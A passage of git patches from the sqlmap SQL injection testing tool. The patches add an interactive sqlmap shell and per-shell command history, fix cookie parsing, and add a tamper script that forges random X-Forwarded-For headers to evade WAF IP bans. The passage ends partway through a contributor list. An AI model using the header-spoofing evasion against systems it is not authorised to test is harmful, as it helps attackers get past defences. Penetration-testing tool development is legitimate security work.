OptionError @@ -17,13 +18,21 @@ from lib.core.common import checkDeprecatedOptions from lib.core.common import checkSystemEncoding from lib.core.common import expandMnemonics from lib.core.common import getUnicode +from lib.core.data import cmdLineOptions +from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.exception import SqlmapShellQuitException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion +from lib.core.shell import clearHistory +from lib.core.shell import loadHistory +from lib.core.shell import saveHistory def cmdLineParser(): """ @@ -693,6 +702,9 @@ def cmdLineParser(): action="store_true", help="Conduct through tests only if positive heuristic(s)") + miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", + help="Prompt for an interactive sqlmap shell") + miscellaneous.add_option("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") @@ -765,22 +777,25 @@ def cmdLineParser(): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") - args = [] + argv = [] + prompt = False advancedHelp = True for arg in sys.argv: - args.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, system=True)) - checkDeprecatedOptions(args) + checkDeprecatedOptions(argv) # Hide non-basic options in basic help case for i in xrange(len(sys.argv)): - if sys.argv[i] == '-hh': - sys.argv[i] = '-h' - elif sys.argv[i] == '--version': + if sys.argv[i] == "-hh": + sys.argv[i] = "-h" + elif sys.argv[i] == "--version": print VERSION_STRING raise SystemExit - elif sys.argv[i] == '-h': + elif sys.argv[i] == "--sqlmap-shell": + prompt = True + elif sys.argv[i] == "-h": advancedHelp = False for group in parser.option_groups[:]: found = False @@ -792,17 +807,56 @@ def cmdLineParser(): if not found: parser.option_groups.remove(group) + if prompt: + cmdLineOptions.sqlmapShell = True + + _ = ["x", "q", "exit", "quit", "clear"] + for group in parser.option_groups: + for option in group.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + + while True: + command = None + + try: + command = raw_input("sqlmap-shell> ").strip() + except (KeyboardInterrupt, EOFError): + print + raise SqlmapShellQuitException + + if not command: + continue + elif command.lower() == "clear": + clearHistory() + print "[i] history cleared" + saveHistory() + elif command.lower() in ("x", "q", "exit", "quit"): + raise SqlmapShellQuitException + elif command[0] != '-': + print "[!] invalid option(s) provided" + print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" + else: + saveHistory() + loadHistory() + break + + for arg in shlex.split(command): + argv.append(getUnicode(arg, system=True)) + try: - (args, _) = parser.parse_args(args) + (args, _) = parser.parse_args(argv) except SystemExit: - if '-h' in sys.argv and not advancedHelp: + if "-h" in sys.argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise # Expand given mnemonic options (e.g. -z "ign,flu,bat") - for i in xrange(len(sys.argv) - 1): - if sys.argv[i] == '-z': - expandMnemonics(sys.argv[i + 1], parser, args) + for i in xrange(len(argv) - 1): + if argv[i] == "-z": + expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 030697560..4f51616e2 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -15,6 +15,7 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS +from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion @@ -117,7 +118,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(AUTOCOMPLETE_TYPE.OS) + autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None diff --git a/sqlmap.py b/sqlmap.py index 5a889d5f9..bb68597e5 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -33,6 +33,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.common import unhandledExceptionMessage from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions @@ -101,7 +102,10 @@ def main(): except (SqlmapSilentQuitException, bdb.BdbQuit): pass - except SqlmapBaseException, ex: + except SqlmapShellQuitException: + cmdLineOptions.sqlmapShell = False + + except SqlmapBaseException as ex: errMsg = getUnicode(ex.message) logger.critical(errMsg) sys.exit(1) @@ -138,6 +142,12 @@ def main(): except KeyboardInterrupt: pass + if cmdLineOptions.get("sqlmapShell"): + cmdLineOptions.clear() + conf.clear() + kb.clear() + main() + if hasattr(conf, "api"): try: conf.database_cursor.disconnect() From 5b0732e9f919a2b7d6f34b2aa3ddaddd4dfe46e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 15:17:50 +0200 Subject: [PATCH 025/492] Minor update for Issue #832 --- lib/core/common.py | 4 +++- lib/core/shell.py | 28 +++++++++++++++++++++------- lib/parse/cmdline.py | 6 +++--- 3 files changed, 27 insertions(+), 11 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index d22217a17..e99dfa63d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1058,7 +1058,9 @@ def setPaths(): paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "shell.hst") + paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") + paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") + paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") diff --git a/lib/core/shell.py b/lib/core/shell.py index 17e340036..4cb05cdd2 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -31,24 +31,38 @@ def clearHistory(): readline.clear_history() -def saveHistory(): +def saveHistory(completion=None): if not readlineAvailable(): return - historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + try: - os.remove(historyPath) + with open(historyPath, "rw+") as f: + f.truncate() except: pass readline.set_history_length(MAX_HISTORY_LENGTH) readline.write_history_file(historyPath) -def loadHistory(): +def loadHistory(completion=None): if not readlineAvailable(): return - historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + clearHistory() + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: @@ -107,5 +121,5 @@ def autoCompletion(completion=None, os=None, commands=None): readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") - loadHistory() - atexit.register(saveHistory) + loadHistory(completion) + atexit.register(saveHistory, completion) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6a7777023..b39f7ff40 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -832,15 +832,15 @@ def cmdLineParser(): elif command.lower() == "clear": clearHistory() print "[i] history cleared" - saveHistory() + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': print "[!] invalid option(s) provided" print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" else: - saveHistory() - loadHistory() + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break for arg in shlex.split(command): From c5294f2cbb0797ac478c45ddadffb3dfc376bd0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:18:13 +0200 Subject: [PATCH 026/492] Minor patch for an Issue #832 --- lib/parse/cmdline.py | 47 ++++++++++++++++++++++++-------------------- 1 file changed, 26 insertions(+), 21 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b39f7ff40..2c62b94d5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -786,31 +786,17 @@ def cmdLineParser(): checkDeprecatedOptions(argv) - # Hide non-basic options in basic help case - for i in xrange(len(sys.argv)): - if sys.argv[i] == "-hh": - sys.argv[i] = "-h" - elif sys.argv[i] == "--version": - print VERSION_STRING - raise SystemExit - elif sys.argv[i] == "--sqlmap-shell": - prompt = True - elif sys.argv[i] == "-h": - advancedHelp = False - for group in parser.option_groups[:]: - found = False - for option in group.option_list: - if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP - else: - found = True - if not found: - parser.option_groups.remove(group) + prompt = "--sqlmap-shell" in argv if prompt: cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] + + for option in parser.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + for group in parser.option_groups: for option in group.option_list: _.extend(option._long_opts) @@ -846,10 +832,29 @@ def cmdLineParser(): for arg in shlex.split(command): argv.append(getUnicode(arg, system=True)) + # Hide non-basic options in basic help case + for i in xrange(len(argv)): + if argv[i] == "-hh": + argv[i] = "-h" + elif argv[i] == "--version": + print VERSION_STRING + raise SystemExit + elif argv[i] == "-h": + advancedHelp = False + for group in parser.option_groups[:]: + found = False + for option in group.option_list: + if option.dest not in BASIC_HELP_ITEMS: + option.help = SUPPRESS_HELP + else: + found = True + if not found: + parser.option_groups.remove(group) + try: (args, _) = parser.parse_args(argv) except SystemExit: - if "-h" in sys.argv and not advancedHelp: + if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise From 0e8090381caafccbeee9a38afab8d36feb3f07bc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:21:29 +0200 Subject: [PATCH 027/492] Minor cosmetic update --- lib/parse/cmdline.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2c62b94d5..5232bec76 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -789,6 +789,7 @@ def cmdLineParser(): prompt = "--sqlmap-shell" in argv if prompt: + parser.usage = "" cmdLineOptions.sqlmapShell = True _ = ["x", "q", "exit", "quit", "clear"] From 8a92dd3aaa180653751267bc1f9c4cbde104bc9e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:28:38 +0200 Subject: [PATCH 028/492] Minor cosmetic patch --- sqlmap.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index bb68597e5..1607a0648 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -81,6 +81,7 @@ def main(): banner() + conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) @@ -131,7 +132,8 @@ def main(): dataToStdout(setColor(traceback.format_exc())) finally: - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + if conf.get("showTime"): + dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) kb.threadContinue = False kb.threadException = True From 6888d2fc34a05f14f45096132128965503f1ed42 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:32:54 +0200 Subject: [PATCH 029/492] Minor cosmetic update --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5232bec76..b2d736afe 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -838,7 +838,7 @@ def cmdLineParser(): if argv[i] == "-hh": argv[i] = "-h" elif argv[i] == "--version": - print VERSION_STRING + print VERSION_STRING.split('/')[-1] raise SystemExit elif argv[i] == "-h": advancedHelp = False From bbc6dd9ac8c332b418a3bbd689dc5a9b15387002 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 10:28:18 +0200 Subject: [PATCH 030/492] Minor fix --- lib/core/shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index 4cb05cdd2..d1f1f1dca 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -43,7 +43,7 @@ def saveHistory(completion=None): historyPath = paths.SQLMAP_SHELL_HISTORY try: - with open(historyPath, "rw+") as f: + with open(historyPath, "w+") as f: f.truncate() except: pass From 09064a4a24d96eda3595e649b40c7c2837d48174 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 18:25:24 +0200 Subject: [PATCH 031/492] Minor just in case patch --- lib/core/shell.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index d1f1f1dca..5653819d2 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -49,7 +49,11 @@ def saveHistory(completion=None): pass readline.set_history_length(MAX_HISTORY_LENGTH) - readline.write_history_file(historyPath) + try: + readline.write_history_file(historyPath) + except IOError, msg: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) + logger.warn(warnMsg) def loadHistory(completion=None): if not readlineAvailable(): From 69701ba08c8874934f6dc20c1d78030735442450 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 18:29:01 +0200 Subject: [PATCH 032/492] Minor refactoring --- lib/core/shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index 5653819d2..aeeea9e1f 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -44,7 +44,7 @@ def saveHistory(completion=None): try: with open(historyPath, "w+") as f: - f.truncate() + pass except: pass From d34a57041e4a9058ff886431cd54e9d2c17ec468 Mon Sep 17 00:00:00 2001 From: Mehmet INCE Date: Fri, 19 Sep 2014 20:59:33 +0300 Subject: [PATCH 033/492] Add random X-Forwarded-For to bypass IP Ban. --- tamper/randomfakeproxy.py | 40 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 tamper/randomfakeproxy.py diff --git a/tamper/randomfakeproxy.py b/tamper/randomfakeproxy.py new file mode 100644 index 000000000..65decde15 --- /dev/null +++ b/tamper/randomfakeproxy.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY +from random import randrange +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def generateIP(): + blockOne = randrange(0, 255, 1) + blockTwo = randrange(0, 255, 1) + blockThree = randrange(0, 255, 1) + blockFour = randrange(0, 255, 1) + if blockOne == 10: + return generateIP() + elif blockOne == 172: + return generateIP() + elif blockOne == 192: + return generateIP() + else: + return str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) + +def tamper(payload, **kwargs): + """ + Append a HTTP Request Parameter to bypass + WAF (usually application based ) Ban + protection bypass. + + Mehmet INCE + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = generateIP() + return payload From 00fc842c6f94dea51780bbcb2a552a8e782ff4eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 10:20:57 +0200 Subject: [PATCH 034/492] Update agent.py --- lib/core/agent.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index 923677b15..2df03da44 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -110,6 +110,9 @@ class Agent(object): paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.index(',') + 1:] + match = re.search(r"([^;]+)=(?P[^;]+);?\Z", origValue) + if match: + origValue = match.group("value") if conf.prefix: value = origValue From 46480d777ad9f20c8c6391ea115a6ff17fdbd1e0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 14:48:36 +0200 Subject: [PATCH 035/492] Update for an Issue #835 --- doc/THANKS.md | 3 +++ tamper/randomfakeproxy.py | 40 --------------------------------------- tamper/varnish.py | 2 +- tamper/xforwardedfor.py | 29 ++++++++++++++++++++++++++++ 4 files changed, 33 insertions(+), 41 deletions(-) delete mode 100644 tamper/randomfakeproxy.py create mode 100644 tamper/xforwardedfor.py diff --git a/doc/THANKS.md b/doc/THANKS.md index e90ff7f88..3878a18fb 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -226,6 +226,9 @@ Daniel Huckmann, Daliev Ilya, * for reporting a bug +Mehmet İnce, +* for contributing a tamper script xforwardedfor.py + Jovon Itwaru, * for reporting a minor bug diff --git a/tamper/randomfakeproxy.py b/tamper/randomfakeproxy.py deleted file mode 100644 index 65decde15..000000000 --- a/tamper/randomfakeproxy.py +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.enums import PRIORITY -from random import randrange -__priority__ = PRIORITY.NORMAL - -def dependencies(): - pass - -def generateIP(): - blockOne = randrange(0, 255, 1) - blockTwo = randrange(0, 255, 1) - blockThree = randrange(0, 255, 1) - blockFour = randrange(0, 255, 1) - if blockOne == 10: - return generateIP() - elif blockOne == 172: - return generateIP() - elif blockOne == 192: - return generateIP() - else: - return str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) - -def tamper(payload, **kwargs): - """ - Append a HTTP Request Parameter to bypass - WAF (usually application based ) Ban - protection bypass. - - Mehmet INCE - """ - - headers = kwargs.get("headers", {}) - headers["X-Forwarded-For"] = generateIP() - return payload diff --git a/tamper/varnish.py b/tamper/varnish.py index 48e94b20b..14f4c6728 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Append a HTTP Request Parameter to bypass + Append a HTTP header 'X-originating-IP' to bypass WAF Protection of Varnish Firewall Notes: diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py new file mode 100644 index 000000000..198c524ce --- /dev/null +++ b/tamper/xforwardedfor.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY +from random import sample +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def randomIP(): + numbers = [] + while not numbers or numbers[0] in (10, 172, 192): + numbers = sample(xrange(1, 255), 4) + return '.'.join(str(_) for _ in numbers) + +def tamper(payload, **kwargs): + """ + Append a fake HTTP header 'X-Forwarded-For' to bypass + WAF (usually application based) protection + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = randomIP() + return payload From 6945a0a5707bf16aa482fd7c0a018a9832fdba28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 14:52:14 +0200 Subject: [PATCH 036/492] Changing @ with (at) in THANKS.md --- doc/THANKS.md | 480 +++++++++++++++++++++++++------------------------- 1 file changed, 240 insertions(+), 240 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index 3878a18fb..b56820891 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,780 +1,780 @@ # Individuals -Andres Tarasco Acuna, +Andres Tarasco Acuna, * for suggesting a feature -Santiago Accurso, +Santiago Accurso, * for reporting a bug -Syed Afzal, +Syed Afzal, * for contributing a WAF script varnish.py -Zaki Akhmad, +Zaki Akhmad, * for suggesting a couple of features -Olu Akindeinde, +Olu Akindeinde, * for reporting a couple of bugs -David Alvarez, +David Alvarez, * for reporting a bug -Sergio Alves, +Sergio Alves, * for reporting a bug -Thomas Anderson, +Thomas Anderson, * for reporting a bug -Chip Andrews, +Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site -Smith Andy, +Smith Andy, * for suggesting a feature -Otavio Augusto, +Otavio Augusto, * for reporting a minor bug -Simon Baker, +Simon Baker, * for reporting some bugs -Ryan Barnett, +Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html -Emiliano Bazaes, +Emiliano Bazaes, * for reporting a minor bug -Daniele Bellucci, +Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 -Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH +Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration -Anthony Boynes, +Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug -Velky Brat, +Velky Brat, * for suggesting a minor enhancement to the bisection algorithm -James Briggs, +James Briggs, * for suggesting a minor enhancement -Gianluca Brindisi, +Gianluca Brindisi, * for reporting a couple of bugs -Jack Butler, +Jack Butler, * for contributing the sqlmap site favicon -Ulisses Castro, +Ulisses Castro, * for reporting a bug -Roberto Castrogiovanni, +Roberto Castrogiovanni, * for reporting a minor bug -Cesar Cerrudo, +Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf -Karl Chen, +Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm -Y P Chien, +Y P Chien, * for reporting a minor bug -Pierre Chifflier, and Mark Hymers, +Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository -Hysia Chow +Hysia Chow * for contributing a couple of WAF scripts -Chris Clements, +Chris Clements, * for reporting a couple of bugs -John Cobb, +John Cobb, * for reporting a minor bug -Andreas Constantinides, +Andreas Constantinides, * for reporting a minor bug -Andre Costa, +Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement -Ulises U. Cune, +Ulises U. Cune, * for reporting a bug -Alessandro Curio, +Alessandro Curio, * for reporting a minor bug -Alessio Dalla Piazza, +Alessio Dalla Piazza, * for reporting a couple of bugs -Sherif El-Deeb, +Sherif El-Deeb, * for reporting a minor bug -Stefano Di Paola, +Stefano Di Paola, * for suggesting good features -Mosk Dmitri, +Mosk Dmitri, * for reporting a minor bug -Meng Dong, +Meng Dong, * for contributing a code for Waffit integration -Carey Evans, +Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms -Shawn Evans, +Shawn Evans, * for suggesting an idea for one tamper script, greatest.py -Adam Faheem, +Adam Faheem, * for reporting a few bugs -James Fisher, +James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster -Jim Forster, +Jim Forster, * for reporting a bug -Rong-En Fan, +Rong-En Fan, * for commiting the sqlmap 0.5 port to the official FreeBSD project repository -Giorgio Fedon, +Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 -Kasper Fons, +Kasper Fons, * for reporting several bugs -Jose Fonseca, +Jose Fonseca, * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only http://code.google.com/p/jrfonseca/wiki/Gprof2Dot http://code.google.com/p/jrfonseca/wiki/XDot -Alan Franzoni, +Alan Franzoni, * for helping me out with Python subprocess library -Harold Fry, +Harold Fry, * for suggesting a minor enhancement -Daniel G. Gamonal, +Daniel G. Gamonal, * for reporting a minor bug -Marcos Mateos Garcia, +Marcos Mateos Garcia, * for reporting a minor bug -Andrew Gecse, +Andrew Gecse, * for reporting a minor issue -Ivan Giacomelli, +Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation -Nico Golde, +Nico Golde, * for reporting a couple of bugs -Oliver Gruskovnjak, +Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch -Davide Guerri, +Davide Guerri, * for suggesting an enhancement -Dan Guido, +Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ -David Guimaraes, +David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, +Chris Hall, * for coding the prettyprint.py library -Tate Hansen, +Tate Hansen, * for donating to sqlmap development -Mario Heiderich, -Christian Matthies, -Lars H. Strojny, +Mario Heiderich, +Christian Matthies, +Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org -Kristian Erik Hermansen, +Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development -Alexander Hagenah, +Alexander Hagenah, * for reporting a minor bug -Dennis Hecken, +Dennis Hecken, * for reporting a minor bug -Choi Ho, +Choi Ho, * for reporting a minor bug -Jorge Hoya, +Jorge Hoya, * for suggesting a minor enhancement -Will Holcomb, +Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code -Daniel Huckmann, +Daniel Huckmann, * for reporting a couple of bugs -Daliev Ilya, +Daliev Ilya, * for reporting a bug -Mehmet İnce, +Mehmet İnce, * for contributing a tamper script xforwardedfor.py -Jovon Itwaru, +Jovon Itwaru, * for reporting a minor bug -Prashant Jadhav, +Prashant Jadhav, * for reporting a bug -Dirk Jagdmann, +Dirk Jagdmann, * for reporting a typo in the documentation -Luke Jahnke, +Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 -Andrew Kitis +Andrew Kitis * for contributing a tamper script lowercase.py -David Klein, +David Klein, * for reporting a minor code improvement -Sven Klemm, +Sven Klemm, * for reporting two minor bugs with PostgreSQL -Anant Kochhar, +Anant Kochhar, * for providing with feedback on the user's manual -Dmitriy Kononov, +Dmitriy Kononov, * for reporting a minor bug -Alexander Kornbrust, +Alexander Kornbrust, * for reporting a couple of bugs -Krzysztof Kotowicz, +Krzysztof Kotowicz, * for reporting a minor bug -Nicolas Krassas, +Nicolas Krassas, * for reporting a couple of bugs -Oliver Kuckertz, +Oliver Kuckertz, * for contributing a minor patch -Alex Landa, +Alex Landa, * for contributing a patch adding beta support for XML output -Guido Landi, +Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 -Lee Lawson, +Lee Lawson, * for reporting a minor bug -John J. Lee, and others +John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified -Nico Leidecker, +Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip -Gabriel Lima, +Gabriel Lima, * for reporting a couple of bugs -Svyatoslav Lisin, +Svyatoslav Lisin, * for suggesting a minor feature -Miguel Lopes, +Miguel Lopes, * for reporting a minor bug -Truong Duc Luong, +Truong Duc Luong, * for reporting a minor bug -Pavol Luptak, +Pavol Luptak, * for reporting a bug when injecting on a POST data parameter -Till Maas, +Till Maas, * for suggesting a minor feature -Michael Majchrowicz, +Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features -Vinícius Henrique Marangoni, +Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md -Ahmad Maulana, +Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py -Ferruh Mavituna, +Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features -David McNab, +David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects -Spencer J. McIntyre, +Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 -Brad Merrell, +Brad Merrell, * for reporting a minor bug -Michael Meyer, +Michael Meyer, * for suggesting a minor feature -Enrico Milanese, +Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor -Liran Mimoni, +Liran Mimoni, * for reporting a minor bug -Marco Mirandola, +Marco Mirandola, * for reporting a minor bug -Devon Mitchell, +Devon Mitchell, * for reporting a minor bug -Anton Mogilin, +Anton Mogilin, * for reporting a few bugs -Sergio Molina, +Sergio Molina, * for reporting a minor bug -Anastasios Monachos, +Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs -Kirill Morozov, +Kirill Morozov, * for reporting a bug * for suggesting a feature -Alejo Murillo Moya, +Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features -Yonny Mutai, +Yonny 